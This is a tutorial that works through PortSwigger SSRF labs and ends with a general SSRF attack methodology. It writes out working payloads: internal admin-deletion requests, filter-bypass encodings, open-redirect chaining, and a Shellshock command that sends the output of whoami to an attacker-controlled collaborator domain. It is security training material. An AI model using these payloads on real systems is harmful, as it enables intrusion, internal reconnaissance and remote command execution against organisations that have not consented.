Server-Side Request Forgery (SSRF) is a powerful vulnerability that allows attackers to manipulate a server into making unintended requests. Unlike client-side attacks, SSRF originates from the server itself, often granting access to internal systems, cloud metadata services, and otherwise unreachable resources.

In real-world scenarios, SSRF can escalate from simple data exposure to full infrastructure compromise. Understanding how to identify and exploit SSRF is essential for both penetration testers and bug bounty hunters.

In this guide, we will break down practical SSRF exploitation techniques using labs from PortSwigger and build a methodology that can be applied to real applications.

🔹 Lab 1:Basic SSRF Against the Local Server

This lab demonstrates how SSRF can be used to access internal functionality that is not exposed externally, such as an admin panel.

🔍 Identifying the Injection Point

While interacting with a product, the "Check stock" feature triggered a request containing the following parameter:

stockApi=http://...
None

This indicates that the server is fetching data from a user-supplied URL — a classic SSRF entry point.

⚔️ Exploitation

Since direct access to /admin was blocked from the browser, the next step was to make the server access it on our behalf.

The stockApi parameter was modified:

stockApi=http://localhost
None

The server returned a 200 OK response, confirming that it could access internal resources.

Expanding this further:

stockApi=http://localhost/admin
None

This successfully returned the admin panel.

From the response, the deletion endpoint was identified:

/admin/delete?username=carlos

Finally, the payload was updated:

stockApi=http://localhost/admin/delete?username=carlos

This caused the server to execute the request internally, deleting the target user.

🧠 Key Insight

The application trusts requests originating from the local server (localhost). SSRF allows attackers to abuse this trust boundary and bypass external access restrictions.

🔹 Lab 2:SSRF Against Internal Back-End Systems

This lab expands SSRF exploitation into internal network discovery and lateral movement.

🔍 Approach

Instead of targeting localhost, the focus shifted to internal IP ranges such as:

192.168.0.x

Using Burp Intruder, the final octet was brute-forced to identify active internal hosts.

None

⚔️ Exploitation

One of the responses returned a different status code, indicating a live internal service.

This host was then probed further:

http://192.168.0.X:8080/admin
None

The admin interface was discovered and used to locate:

/admin/delete?username=carlos

Submitting this via SSRF successfully completed the attack.

🧠 Key Insight

Internal systems often:

  • Are not exposed publicly
  • Have weaker security
  • Trust internal traffic

SSRF turns the application into a pivot point for internal network attacks.

🔹 Lab 3: SSRF with Blacklist-Based Input Filter

This lab shows why blacklist-based defenses fail.

🔍 Approach

Direct requests to http://127.0.0.1/ were blocked by the application.

None

⚔️ Exploitation

Instead of giving up, alternative representations were used:

http://127.1/

This bypassed the filter because it resolves to the same address.

To access restricted paths like /admin, encoding techniques were used:

%25%36%31  → (double-encoded 'a')

This allowed bypassing keyword-based filtering and accessing the admin endpoint.

None

🧠 Key Insight

Blacklists fail because:

  • There are multiple representations of the same resource
  • Encoding tricks bypass string matching
  • Attackers control input, defenders miss edge cases
  • cases

🔹Lab 4: SSRF with Whitelist-Based Input Filter

This lab demonstrates how whitelist-based defenses can be bypassed due to flawed URL parsing logic.

🔍 Understanding the Defense

The application validates the stockApi parameter against a whitelist:

stock.weliketoshop.net

A direct attempt to access internal resources:

stockApi=http://127.0.0.1/
None

is rejected, indicating that the application parses the URL and enforces hostname validation.

🔍 Initial Observation

To test how the application parses URLs, the following payload was used:

http://username@stock.weliketoshop.net/

This request was accepted.

This reveals that:

  • The application supports embedded credentials in URLs
  • It likely extracts the hostname after the @ symbol

🔍 Testing Parser Behavior

Next, a fragment character was introduced:

http://username#@stock.weliketoshop.net/

This caused the request to be rejected.

To bypass filtering, the fragment character # was double URL encoded:

%25%32%33

This resulted in an unexpected 500 Internal Server Error, indicating inconsistent parsing between:

  • Validation logic
  • Backend request handling

⚔️ Exploitation

Using these observations, the final payload was crafted:

stockApi=http://localhost:80%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos

Breakdown:

  • localhost → actual target
  • %25%32%33 → double-encoded # (fragment bypass)
  • @stock.weliketoshop.net → passes whitelist validation
  • /admin/delete?username=carlos → target action

The application:

  • Validates the hostname as stock.weliketoshop.net
  • But the backend request is sent to localhost

This results in successful access to the internal admin endpoint and deletion of the target user.

🧠 Key Insight

Whitelist-based filtering fails when:

  • URL parsing is inconsistent across components
  • Encoded characters are handled differently
  • Developers misunderstand URL structure

🔹 Lab 5: SSRF via Open Redirect

This lab combines SSRF with another vulnerability: open redirect.

🔍 Approach

Direct SSRF to internal systems was blocked.

However, a separate endpoint allowed redirection:

/product/nextProduct?path=...

⚔️ Exploitation

A crafted payload was used:

/product/nextProduct?path=http://192.168.0.12:8080/admin
None

The server followed the redirect and fetched the internal resource.

This was extended to:

/admin/delete?username=carlos

🧠 Key Insight

Even if direct SSRF is blocked, chaining vulnerabilities (like open redirects) can re-enable exploitation.

🔹Lab 6: Blind SSRF with Out-of-Band Detection

This lab demonstrates SSRF where no response is visible.

🔍 Approach

The Referer header was used as an injection point, replaced with a Burp Collaborator payload.

None

⚔️ Exploitation

When the request was sent, no visible response confirmed SSRF.

However, polling the collaborator revealed:

  • DNS interaction
  • HTTP interaction

This confirmed that the server made an external request.

🧠 Key Insight

Blind SSRF requires out-of-band detection. Lack of visible response does not mean lack of vulnerability.

🔹Lab 7: Blind SSRF with Shellshock Exploitation

This lab demonstrates how a blind SSRF vulnerability can be escalated into remote command execution by targeting an internal system vulnerable to Shellshock.

🔍 Understanding the Scenario

Initial testing revealed that the application makes server-side HTTP requests based on user-controlled input (via headers like Referer).

However, no response data was visible — indicating a blind SSRF.

To confirm this, a Burp Collaborator payload was injected, which resulted in DNS/HTTP interactions. This confirmed that the server was making outbound requests.

🔍 Identifying a Deeper Attack Surface

While analyzing the outbound request, it was observed that the server included the User-Agent header in its request to internal systems.

This is critical.

Because if the target internal service is vulnerable to Shellshock, it may interpret specially crafted headers as commands.

⚔️ Exploitation Strategy

Instead of just confirming SSRF, the goal shifts to:

"Can I execute commands on an internal system?"

To achieve this, a Shellshock payload was crafted:

() { :; }; /usr/bin/nslookup $(whoami).<collaborator-domain>

🔬 Payload Breakdown

  • () { :; }; → triggers the Shellshock vulnerability
  • /usr/bin/nslookup → forces a DNS request
  • $(whoami) → injects the current OS user
  • <collaborator-domain> → attacker-controlled domain

If successful, the server will:

  1. Execute the command
  2. Perform a DNS lookup
  3. Send the result to the attacker

🔍 Internal Network Targeting

Since the vulnerable service is internal, the attack was combined with SSRF to scan internal IPs:

192.168.0.1 → 192.168.0.255

Using Burp Intruder, requests were sent across this range while injecting the Shellshock payload into the User-Agent header.

⚔️ Triggering the Exploit

The request included:

  • Referer → pointing to internal IP (SSRF trigger)
  • User-Agent → containing Shellshock payload

When the application made a request to a vulnerable internal system:

  • The payload was executed
  • A DNS request was sent to the collaborator

📡 Out-of-Band Confirmation

Polling the collaborator revealed a DNS interaction like:

<username>.<collaborator-domain>
None

This confirms:

  • Command execution occurred
  • The OS username was successfully extracted

🧠 Key Insight

This is not "just SSRF".

This is:

  • SSRF → Internal access
  • Blind SSRF → No direct visibility
  • OAST → Detection
  • Shellshock → RCE

A full attack chain.

🔥 SSRF Attack Methodology

This is how you should think on a real target — not step-by-step, but decision-driven.

1️⃣ Identify SSRF Entry Points

Look for any functionality where the server fetches external resources:

  • URL fetchers (image preview, stock check, webhooks)
  • Import features (PDF, images, files)
  • API integrations
  • Headers like:
  • Referer
  • Webhook URL
  • Callback URL

💡 Core question:

"Is the server making a request based on my input?"

2️⃣ Confirm SSRF Behavior

Start simple.

Test with:

http://your-collaborator-domain

Use Burp Collaborator to check:

  • DNS interaction → SSRF confirmed
  • HTTP interaction → stronger SSRF

If no response is visible → assume blind SSRF

3️⃣ Determine Reach (Critical Step)

Now ask: "Where can the server go that I cannot?"

Test:

🔹 Localhost

http://127.0.0.1
http://localhost

🔹 Internal Network

192.168.x.x
10.x.x.x
172.16.x.x

🔹 Cloud Metadata

🔹 Cloud Metadata

💡 This step decides impact.

4️⃣ Identify Internal Functionality

Once access is confirmed:

Look for:

  • /admin
  • /debug
  • /internal
  • /api

Extract:

  • Endpoints
  • Parameters
  • Hidden actions

💡 You're mapping an internal attack surface.

5️⃣ Attempt Direct Exploitation

Try:

  • Access admin panels
  • Trigger actions:
  • Delete user
  • Change role
  • Reset password

If successful → high severity vulnerability

6️⃣ Bypass Input Filters

If blocked, escalate.

🔹 Blacklist Bypass

  • 127.1
  • 2130706433
  • URL encoding / double encoding

🔹 Whitelist Bypass

  • localhost@trusted.com
  • trusted.com.evil.com
  • Fragment (#) tricks

🔹 Redirect Bypass

  • Use open redirects to pivot

💡 Always think: "Can I confuse the parser?"

7️⃣ Escalate to Blind SSRF Techniques

If no visible response:

  • Use Burp Collaborator
  • Inject payloads into:
  • Headers
  • Parameters

Confirm via:

  • DNS
  • HTTP callbacks

8️⃣ Chain with Other Vulnerabilities

This is where real impact happens.

Combine SSRF with:

  • Shellshock → RCE
  • Open redirects → filter bypass
  • IDOR → internal data extraction
  • Misconfigured services → full compromise

💡 SSRF alone is rarely the end — it's a gateway.

9️⃣ Automate & Expand

Once confirmed:

  • Scan internal ranges
  • Probe multiple ports
  • Test common services

You are now doing internal reconnaissance via SSRF.